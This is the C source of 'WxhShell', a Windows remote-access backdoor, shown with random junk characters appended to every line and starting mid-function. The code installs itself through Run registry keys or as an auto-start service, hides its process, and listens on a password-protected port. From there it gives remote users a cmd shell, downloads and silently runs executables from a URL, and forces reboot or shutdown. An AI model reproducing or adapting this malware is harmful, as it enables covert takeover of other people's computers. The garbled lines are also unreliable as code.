    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u|h>z|4lJj  
    else { N 4Yvt&  
    closesocket(wsh); ];bB7+  
    ExitThread(0); cU7 c}?J<  
    } )>08{7  
    break; Qag@#!&n  
    } E8#r<=(m  
  // 获取shell  so_  
  case 's': { +o})Cs`|=A  
    CmdShell(wsh); g(m3 &  
    closesocket(wsh); \NwL#bQ~  
    ExitThread(0); mle"!*  
    break; [I:D\)$<  
  } 2^N 4(  
  // 退出 |mvy@hm  
  case 'x': { Q)x`'[3"7W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^pA|ubZ  
    CloseIt(wsh); TUzpln  
    break; &qqS'G*  
    } Uv'.]#H<  
  // 离开 *l:5FT p  
  case 'q': { %m r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sxcpWSGA^  
    closesocket(wsh); oZ;u>MeZ  
    WSACleanup(); }l{r9ti  
    exit(1); $FUWB6M  
    break; AG6tt  
        } $$+6=r}  
  } ukBj@.~  
  } e(E6 t_  
<EKDP>,~  
  // 提示信息 >!:uVS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .hW_P62\#  
} A|p O  
  } 1L.H"  
@A6 P[r  
  return; X& EcQ  
} {'P7D4w  
^Z]1Z  
// shell模块句柄 OpeK-K  
int CmdShell(SOCKET sock) _ Js & _d  
{ FaO=<jYi  
STARTUPINFO si; HVG9 C$  
ZeroMemory(&si,sizeof(si)); 2@WF]*Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `h+ia/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f6n'g:&.W  
PROCESS_INFORMATION ProcessInfo; IKSe X  
char cmdline[]="cmd"; e -vL!&;2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H/m -$;cF3  
  return 0; S;[g0j  
} KMZ:$H  
#:"F-3A0  
// 自身启动模式 7+';&2M)n~  
int StartFromService(void) [U[saR\  
{ #x Z7%    
typedef struct 'ms&ty*T  
{ Dl hb'*@  
  DWORD ExitStatus; f%ude@E3  
  DWORD PebBaseAddress; 7A@GN A  
  DWORD AffinityMask; 0X =Yly*m@  
  DWORD BasePriority; & xOEp  
  ULONG UniqueProcessId; GQ~wx1jj1  
  ULONG InheritedFromUniqueProcessId; $OU,| D  
}   PROCESS_BASIC_INFORMATION; td{M%D,R"  
 9')  
PROCNTQSIP NtQueryInformationProcess; :X7"fX  
D> wq4u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t~m >\(&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cw"Y=`  
pX3Q@3,$  
  HANDLE             hProcess; mEsOYIu{  
  PROCESS_BASIC_INFORMATION pbi; Y(QLlJ*)/  
Ia-`x/r*m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E'qGKT  
  if(NULL == hInst ) return 0; >g8H  
CC,_I>t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :^".cs?g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); luD.3&0n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W.b?MPy]  
b,U"N-6  
  if (!NtQueryInformationProcess) return 0; ./nq*4=  
QV/ o;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WO{V,<;  
  if(!hProcess) return 0; }nNZp  
 )! 2$yD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @C7if lo6  
rMkoE7n  
  CloseHandle(hProcess); !#P|2>>u  
63R?=u@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OrN>4S  
if(hProcess==NULL) return 0; (}1 gO  
\]pRu"  
HMODULE hMod; &c<0g`x  
char procName[255]; a?#v,4t^  
unsigned long cbNeeded; !qe ,&JL  
!.>TF+]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q _Yl:c  
LPr34BK  
  CloseHandle(hProcess); +RLHe]9&  
\[</|]'[  
if(strstr(procName,"services")) return 1; // 以服务启动 RK%N:!f q=  
dd4g?):  
  return 0; // 注册表启动 wxw3t@%mNm  
} *h59Vaoc  
{=n-S2%  
// 主模块 ;OjxEXaq  
int StartWxhshell(LPSTR lpCmdLine) w6ZyMR,T  
{ Y>v(UU  
  SOCKET wsl; bs{i@1$  
BOOL val=TRUE; !ER,o_T<  
  int port=0; nl v8HC  
  struct sockaddr_in door; Ubtu?wRBW  
n^Co  
  if(wscfg.ws_autoins) Install(); uA#uq^3  
?V6A:8t,  
port=atoi(lpCmdLine); V'[Lqe,y  
]z5`!e)L  
if(port<=0) port=wscfg.ws_port; Lo"w,p`n@  
AWkXW l}  
  WSADATA data; v5J% p4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U/2]ACGCN^  
*fs'%"w-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ""-#b^DQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (.6~t<DRv  
  door.sin_family = AF_INET; a "*DJ&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |8,|>EyqK  
  door.sin_port = htons(port); J,@SSmJ`  
'F3cvpc`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vU5a`0mH  
closesocket(wsl); vFuf{ @P  
return 1; Z)=S. )  
} ')!+>b(P  
F$[1KjS  
  if(listen(wsl,2) == INVALID_SOCKET) { 2flgfB}2k  
closesocket(wsl); )3h%2C1uM  
return 1; M'Fa[n*b?!  
} 3Yu1ZuIR  
  Wxhshell(wsl); A6D.bJ)  
  WSACleanup(); _^{!`*S  
p6=L}L  
return 0; 7S"W7O1>  
{J_1.uN=  
} D|zlC,J,  
X}XTEk3[  
// 以NT服务方式启动 |^ z?(?w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <G d?,}\  
{ WO=X*O ne  
DWORD   status = 0; VKzY6  
  DWORD   specificError = 0xfffffff; uL`6}0  
>e F4YZ"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6g\SJ O-;N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tG1,AkyZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r?^[o  
  serviceStatus.dwWin32ExitCode     = 0; N!O.=>8<  
  serviceStatus.dwServiceSpecificExitCode = 0; "'389*-  
  serviceStatus.dwCheckPoint       = 0; \_H-TbU8  
  serviceStatus.dwWaitHint       = 0; ,:RHhg  
n.}A :Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {R`,iWV  
  if (hServiceStatusHandle==0) return; Ml)0z&jQX  
Ps<6kQ(  
status = GetLastError(); !Db 0r/_:G  
  if (status!=NO_ERROR) P(H,_7 4  
{ _FV<[x,nE8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )`Zj:^bz9  
    serviceStatus.dwCheckPoint       = 0; 9wR-0E )  
    serviceStatus.dwWaitHint       = 0; vkFfHzR$  
    serviceStatus.dwWin32ExitCode     = status; Ww(($e!  
    serviceStatus.dwServiceSpecificExitCode = specificError; @|yRo8|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8&q|*/2  
    return; 2|J>e(&akY  
  } F_KPhe$  
kzZdYiC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N*d )<8_  
  serviceStatus.dwCheckPoint       = 0; m53XN  
  serviceStatus.dwWaitHint       = 0; HH_w!_f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %O9kq  
} +o{]0~ y  
CYIp 3D'k  
// 处理NT服务事件,比如:启动、停止 bf~gWzA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m(~5X0  
{ x6=Yt{  
switch(fdwControl) ;QMRm<CLV  
{ Gp}:U>V)  
case SERVICE_CONTROL_STOP: #;4afj:2g  
  serviceStatus.dwWin32ExitCode = 0; 8|:bis~wm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )(&Z&2~A  
  serviceStatus.dwCheckPoint   = 0; .#py5&`%  
  serviceStatus.dwWaitHint     = 0; YX||\  
  { n veHLHvC7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QfLDyJv`e  
  } &4g]#A>@  
  return; !8cS1(a  
case SERVICE_CONTROL_PAUSE: H l'za  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <IiX_*  
  break; f 7g?{M  
case SERVICE_CONTROL_CONTINUE: :?!kZD!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ([Gb]0  
  break; H@!\?5I  
case SERVICE_CONTROL_INTERROGATE: B,`B!rU  
  break; +9 Uo<6}  
}; L^}i7nJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RbexsBq  
} 3*N-@;[>b  
aT v  
// 标准应用程序主函数 XynDo^+ru  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LyEM^d]  
{ .}AzkKdd@  
I-@A{vvPK  
// 获取操作系统版本 r9),F.6,  
OsIsNt=GetOsVer(); [K(|V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ".n,R"EF  
UODbT&&  
  // 从命令行安装 `# N j8  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z/y&;N4  
jacp':T  
  // 下载执行文件 Dgb@`oo  
if(wscfg.ws_downexe) { *2K/)(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }|MPQy  
  WinExec(wscfg.ws_filenam,SW_HIDE); b4l=Bg"  
} (k{rn3,  
~Y- !PZ  
if(!OsIsNt) { sTn}:A6  
// 如果时win9x,隐藏进程并且设置为注册表启动 8M{-RlR  
HideProc(); [2]Ti_ >D  
StartWxhshell(lpCmdLine); IK:F~I  
} b^SQCX+P  
else ck=x_HB1  
  if(StartFromService()) Dd1\$RBo  
  // 以服务方式启动 i|- 6  
  StartServiceCtrlDispatcher(DispatchTable); ^A4bsoW  
else Ro&s\T+d  
  // 普通方式启动 4$j7DJ8dj  
  StartWxhshell(lpCmdLine); v[3QI7E3  
1qEpQ.:](  
return 0; MfX1&/Z+  
} {8'f>YP  
; O6Ez-"  
pZpAb+  
~EYsUC#B_  
=========================================== yuTSzl25,/  
br@GnjG  
?Ek 3<7d  
XI4le=^EM  
hKZ<PwBi  
)# ^5$5  
" v/W\k.?q/  
:h4Nfz(  
#include <stdio.h> &#keI.,  
#include <string.h>  j|Q*L<J  
#include <windows.h> aFCma2  
#include <winsock2.h> @X_<y  
#include <winsvc.h> 8uj;RG  
#include <urlmon.h> [,s{/32s  
[?dsS$Y3  
#pragma comment (lib, "Ws2_32.lib") Hr?_`:  
#pragma comment (lib, "urlmon.lib") /< OoZf+[  
aP#nK  
#define MAX_USER   100 // 最大客户端连接数 /(iq^  
#define BUF_SOCK   200 // sock buffer 'U9l  
#define KEY_BUFF   255 // 输入 buffer =jz*|e|V  
I$rnW  
#define REBOOT     0   // 重启 ,KT[ }P7  
#define SHUTDOWN   1   // 关机 PWch9p0U  
l ~b  
#define DEF_PORT   5000 // 监听端口 x#_\b-  
s)gUvS\  
#define REG_LEN     16   // 注册表键长度 *0EB{T1  
#define SVC_LEN     80   // NT服务名长度 2J>v4EWC  
0 `Yg  
// 从dll定义API RDX$Wy$@L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N ,8^AUJ3&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }^ g6Y3\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m$ubxI)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y4j J&  
kYwV0xQ  
// wxhshell配置信息 !CnkG<5z>  
struct WSCFG { iSiez'  
  int ws_port;         // 监听端口 qs9q{n-Aj  
  char ws_passstr[REG_LEN]; // 口令  T:~c{S4&  
  int ws_autoins;       // 安装标记, 1=yes 0=no |8DMj s()*  
  char ws_regname[REG_LEN]; // 注册表键名 u\&F`esQ2  
  char ws_svcname[REG_LEN]; // 服务名 ;ui=7[ Us  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &l&B[s6[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n`W7g@Sg#I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rxl )[\A*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n7CwGN%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lhp.zl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^V5VRGq  
JemB[  
}; Te\i;7;4u  
pGwBhZnb>  
// default Wxhshell configuration 2r =8&~9z  
struct WSCFG wscfg={DEF_PORT, <Qx]"ZP%  
    "xuhuanlingzhe", Hzn6H4Rc  
    1, R6xJw2;_  
    "Wxhshell", !4?QR  
    "Wxhshell", h;+bHrKji  
            "WxhShell Service", |qp^4vq.p  
    "Wrsky Windows CmdShell Service", SU8vz/\%y  
    "Please Input Your Password: ", %o4d(C B  
  1, KKFV+bK)  
  "http://www.wrsky.com/wxhshell.exe", :iKk"r,2P[  
  "Wxhshell.exe" xE0'eC5n^  
    }; l-~ o&n  
#9's^}i  
// 消息定义模块 r_p4pxs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9i8 ~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7uI~Xo ?N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y} .?`/Q#  
char *msg_ws_ext="\n\rExit."; +nOa&d\  
char *msg_ws_end="\n\rQuit."; bb@3%r|_<  
char *msg_ws_boot="\n\rReboot..."; [k<w'n*  
char *msg_ws_poff="\n\rShutdown..."; JSCZX:5  
char *msg_ws_down="\n\rSave to "; ;7 F'xz"  
Klv~#9Si  
char *msg_ws_err="\n\rErr!"; JX $vz*KF  
char *msg_ws_ok="\n\rOK!"; Qf$3!O}G  
1( nK|  
char ExeFile[MAX_PATH]; oh @|*RU  
int nUser = 0; #mFY?Zp)  
HANDLE handles[MAX_USER]; YXFUZ9a#e  
int OsIsNt; l ;fO]{  
,cF $_7M  
SERVICE_STATUS       serviceStatus; pOmHxFOOK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =Zt7}V  
HOY@<'  
// 函数声明 fxcCz 5  
int Install(void); '^6jRI,  
int Uninstall(void); i*3*)ly  
int DownloadFile(char *sURL, SOCKET wsh); +{7/+Zz  
int Boot(int flag); W["c3c  
void HideProc(void); IW~q,X+`V  
int GetOsVer(void); UpoTXA D}k  
int Wxhshell(SOCKET wsl); a6/$}lCq  
void TalkWithClient(void *cs); v"~0 3-SX  
int CmdShell(SOCKET sock); Y6R+i0guz  
int StartFromService(void); =Felo8+   
int StartWxhshell(LPSTR lpCmdLine); iN]#XIQ%  
b-Uy&+:X*d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |s}7<A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =D}]|ie  
(& =gM  
// 数据结构和表定义 =0" Zse,  
SERVICE_TABLE_ENTRY DispatchTable[] = 6M)4v{F  
{ 1|Q-|jq`  
{wscfg.ws_svcname, NTServiceMain}, $!m (S&f  
{NULL, NULL} wpW3%r;9  
}; IMF9eS{L  
'xn3g;5  
// 自我安装 kbR!iPM-;  
int Install(void) 8 FJ>W.  
{ m0$~O5|4  
  char svExeFile[MAX_PATH]; q>^x ,:L  
  HKEY key; l` M7a9*U  
  strcpy(svExeFile,ExeFile); G*].g['  
,|Xibfw  
// 如果是win9x系统,修改注册表设为自启动 { d*?O  
if(!OsIsNt) { sDF5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M<KWx'uV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P+/6-CJ  
  RegCloseKey(key); )=EJFQ*v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "6} #65  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +kdZfv>  
  RegCloseKey(key); mY& HK)  
  return 0; [$+N"4  
    } &nXa /XIZ_  
  } CEMe2~  
} Ga9^+.j  
else { 7L"Pe'Hw  
 +bC=yR  
// 如果是NT以上系统,安装为系统服务 r'/H3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oDvE0"Sz  
if (schSCManager!=0) /OaW4 b$Tz  
{ #sg^l>/*  
  SC_HANDLE schService = CreateService m~x O;_m  
  ( 6t0-u~  
  schSCManager, *(pmFEc  
  wscfg.ws_svcname, X61p xPa  
  wscfg.ws_svcdisp, fg8"fbG`:  
  SERVICE_ALL_ACCESS, )K"7=TvY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EWX!:BKf  
  SERVICE_AUTO_START, p0b2n a !  
  SERVICE_ERROR_NORMAL, no`>r}C  
  svExeFile, }@'Zt6+tS  
  NULL, zK@DQ5  
  NULL, s+jL BY  
  NULL, 9bVPMq7}i  
  NULL, <:gNx%R  
  NULL m-h+UKt  
  ); }X;LR\^u[f  
  if (schService!=0) YlP8fxS  
  { <6(&w9WY  
  CloseServiceHandle(schService); Co%EJb"tk  
  CloseServiceHandle(schSCManager); 8G6[\P3fQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2TxHY|4  
  strcat(svExeFile,wscfg.ws_svcname); dEuts*@ Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #y4+O;{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ki_8g  
  RegCloseKey(key); cf7UV6D g  
  return 0; hCX_^%  
    } < `/22S"  
  } 'A}@XGE:p  
  CloseServiceHandle(schSCManager); 1p%75VW  
} Vr1yj  
}  zG0191f  
q8 _8rp-@  
return 1; <JyF5  
} d4]9oi{}  
kTQvMa-X9D  
// 自我卸载 OU /=wpt  
int Uninstall(void) k:JlC(^h  
{ cIJqF.k  
  HKEY key; 9R6]OL)p  
y~ZYI]` J  
if(!OsIsNt) { "N\tR[P!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o(5eb;"yi>  
  RegDeleteValue(key,wscfg.ws_regname); %l.5c Sn@  
  RegCloseKey(key); Vw~st1",[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wm<`0}  
  RegDeleteValue(key,wscfg.ws_regname); / ~\ I  
  RegCloseKey(key); m+7/ebj{A  
  return 0; >#[u"CB  
  } c@xQ2&i  
} g AZe&"K  
} j4fv-{=$  
else { Dno'-{-  
`uN}mC!r]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #@cOyxUt  
if (schSCManager!=0) HL*Fs /W  
{ /`b(} m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dhAkD-Lh  
  if (schService!=0) -{tB&V~+v  
  { rbEUq.Yk]~  
  if(DeleteService(schService)!=0) { >Y\$9W=t  
  CloseServiceHandle(schService); 1m5 =Nu  
  CloseServiceHandle(schSCManager); |'R^\M Q  
  return 0; 6|O2i j-J  
  } MMYV8;c  
  CloseServiceHandle(schService); Oz: J8l%  
  } #,4CeD|(D,  
  CloseServiceHandle(schSCManager); )8rN   
} A/%+AH(  
} VYj*LiR  
lNQ8$b  
return 1; oieZopYA  
} Up/s)8$.  
E7K(I ?  
// 从指定url下载文件 NGYUZ\m  
int DownloadFile(char *sURL, SOCKET wsh) ZI0C%c.~  
{ t;?TXAA  
  HRESULT hr; f L}3I(VK  
char seps[]= "/"; IB sQaxt.  
char *token; <:t D m  
char *file; e/{1u$  
char myURL[MAX_PATH]; }0 BKKU+  
char myFILE[MAX_PATH]; -x)zyq6  
7Y?=ijXXx\  
strcpy(myURL,sURL); 3S97hn{|=  
  token=strtok(myURL,seps); M]RbaXZ9  
  while(token!=NULL) 9t1aR*b&@  
  { E<|p9,M  
    file=token; "kHQ}#6r  
  token=strtok(NULL,seps); rphfW:  
  } zxV,v*L)  
-q}c;0vL-a  
GetCurrentDirectory(MAX_PATH,myFILE); 9PM\D@A{  
strcat(myFILE, "\\"); :*`5|'G}  
strcat(myFILE, file); }z$_=v  
  send(wsh,myFILE,strlen(myFILE),0); [It E+{U  
send(wsh,"...",3,0); iO 9fg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fF"\$Ny  
  if(hr==S_OK) <A_LZi  
return 0; $<~o,e-4  
else oOU?6nq  
return 1; fF\s5f#:  
)U~,q>H+ %  
} Y~j )B\^{  
7a4b,-93  
// 系统电源模块 z TM1 e  
int Boot(int flag) b/I_iJ8t  
{ \+STl#3*q  
  HANDLE hToken; (}|QSf:  
  TOKEN_PRIVILEGES tkp; ,dG2[<?o  
%O! ~!'  
  if(OsIsNt) { <![]=~z $  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~ e4Pj`?=K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j> ?0Y  
    tkp.PrivilegeCount = 1; "|\G[xLOaW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u$"dL=s!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C_RxJWka  
if(flag==REBOOT) { **%/Ke[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k6p Xc<]8  
  return 0; vwlPFr Ll  
} dC F!.  
else { x P3v65Q1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *A>I)a<:  
  return 0; QNk\y@yKw  
} .BWCGb2bH  
  } Do3g^RD#  
  else { ZP]l%6\.  
if(flag==REBOOT) { <ah!!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R`_RcHY:  
  return 0; YCWt%a*I'  
} {NS6y\,  
else { 78iu<L+If  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5$(qnOi  
  return 0; ncGg@$E  
} L*rND15  
} *gJ:irah  
# -0}r  
return 1; 0&YW#L|J  
} aMxg6\8  
~BS Ip .  
// win9x进程隐藏模块 ;~2RWj=-  
void HideProc(void) w=UFj  
{ )o:%Zrk  
/MErS< 6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &at^~ o  
  if ( hKernel != NULL ) }i"\?M  
  { S#kA$yO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '`/Qr~]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vm_waa  
    FreeLibrary(hKernel); U^ec g{  
  } ,:Q+>h  
*kliI]B F]  
return;  2]$ 7  
} e~NEyS~3  
/!V) 2j,  
// 获取操作系统版本 2hlb$N-hk  
int GetOsVer(void) vp"b_x1-  
{ AB!P(  
  OSVERSIONINFO winfo; g3} K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?l6NQ;z  
  GetVersionEx(&winfo); ^9{mjy0Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^F>C|FJ2  
  return 1; yc#0c[ZQu  
  else lji&]^1  
  return 0; GE2^v_  
} OwdA6it^f  
*0K@^Db-  
// 客户端句柄模块 QO0#p1fom'  
int Wxhshell(SOCKET wsl) q&j4PR{  
{ <vMdfw"(  
  SOCKET wsh; 4\cJ}p}LZ{  
  struct sockaddr_in client; ~HW}Wik  
  DWORD myID; f.Uvf^T}2  
mHm"QBa!  
  while(nUser<MAX_USER) q0Hor   
{ 0gR!W3dh  
  int nSize=sizeof(client); D*Cn!v$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7Vn;LW  
  if(wsh==INVALID_SOCKET) return 1; 'zEmg}  
!)Y T_ib  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5gdsV4DH$  
if(handles[nUser]==0) ~^<ju6O'  
  closesocket(wsh); 9^DXw!  
else J=%(f1X<W  
  nUser++; 20Umjw.D  
  } [VD)DO5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {Qe 7/ln!  
VZ#@7t  
  return 0; %Sgdhgk1  
} tX<. Ud  
2MV!@rx  
// 关闭 socket J%Cn  
void CloseIt(SOCKET wsh) @v#]+9F  
{  Uz;z  
closesocket(wsh); Wfw6(L  
nUser--; {Q%"{h']  
ExitThread(0); 8lI'[Y?3.  
} H=_ Wio  
p41TSALq  
// 客户端请求句柄 s.9)? < [  
void TalkWithClient(void *cs) sQ4~oZZ  
{ )IFzal}o  
8P kw'.r  
  SOCKET wsh=(SOCKET)cs; $KmhG1*s  
  char pwd[SVC_LEN]; #RJFJb/  
  char cmd[KEY_BUFF]; 4axc05  
char chr[1]; ceW,A`J  
int i,j; F2B9Q_>P  
g RX`61  
  while (nUser < MAX_USER) { T i{~  
X\ Y:9^5  
if(wscfg.ws_passstr) { zqDG#}3f^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); STr&"9c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zKnHo:SV  
  //ZeroMemory(pwd,KEY_BUFF); %, U@ D4w  
      i=0; 55mDLiA  
  while(i<SVC_LEN) { L.%N   
$aY*1UVq  
  // 设置超时 & V*_\  
  fd_set FdRead; +d$l1j  
  struct timeval TimeOut; ls^| j%$J  
  FD_ZERO(&FdRead); Y[0  
  FD_SET(wsh,&FdRead); 7sC8|+  
  TimeOut.tv_sec=8; $@ous4&  
  TimeOut.tv_usec=0; uT#MVv~.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )[w_LHKI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xu]>TC1  
j06Xz\c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B%.XWW$  
  pwd=chr[0]; J:N4F.o&K  
  if(chr[0]==0xd || chr[0]==0xa) { 0~)_/yx?S  
  pwd=0; +&U{>?.u  
  break; |JR;E$  
  } 2tEA8F~k  
  i++; v0d<P2ix  
    } C6!P8qX  
B!;qz[]I  
  // 如果是非法用户,关闭 socket AP2BND9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cAL*Md8+  
} "TLY:V  
n#NE.ap$&,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?HsQ417.H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]]InD N  
7AOjlC9R}  
while(1) { 2I!L+j_  
K F:W:8  
  ZeroMemory(cmd,KEY_BUFF); "EE=j$8u+  
wG, "ZN  
      // 自动支持客户端 telnet标准   S~Z`?qHWh  
  j=0; pE^jUxk6  
  while(j<KEY_BUFF) { ZeL v!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h=1cD\^|qw  
  cmd[j]=chr[0]; NIzxSGk|  
  if(chr[0]==0xa || chr[0]==0xd) { "F$0NYb]I  
  cmd[j]=0; GWQ_X9+q  
  break; zRz7*o&l  
  } .3tyNjsn\  
  j++; T##_?=22I  
    } 09r0Rb  
jOE~?{8m  
  // 下载文件 `X=2Ff  
  if(strstr(cmd,"http://")) { !6d6b@Mv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1z#0CX}Y/H  
  if(DownloadFile(cmd,wsh)) dV:vM9+x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f<Co&^A  
  else Uc?4!{$X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JyfWy  
  } ^EG@tB $<  
  else { z.xOT;t  
UImd* ;2TE  
    switch(cmd[0]) { HgY#O r(  
  h/AL `$  
  // 帮助 1>$}N?u:T  
  case '?': { `4&a"`&$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9uRs@]i  
    break; lwhVP$q}  
  } Z,? T`[4B  
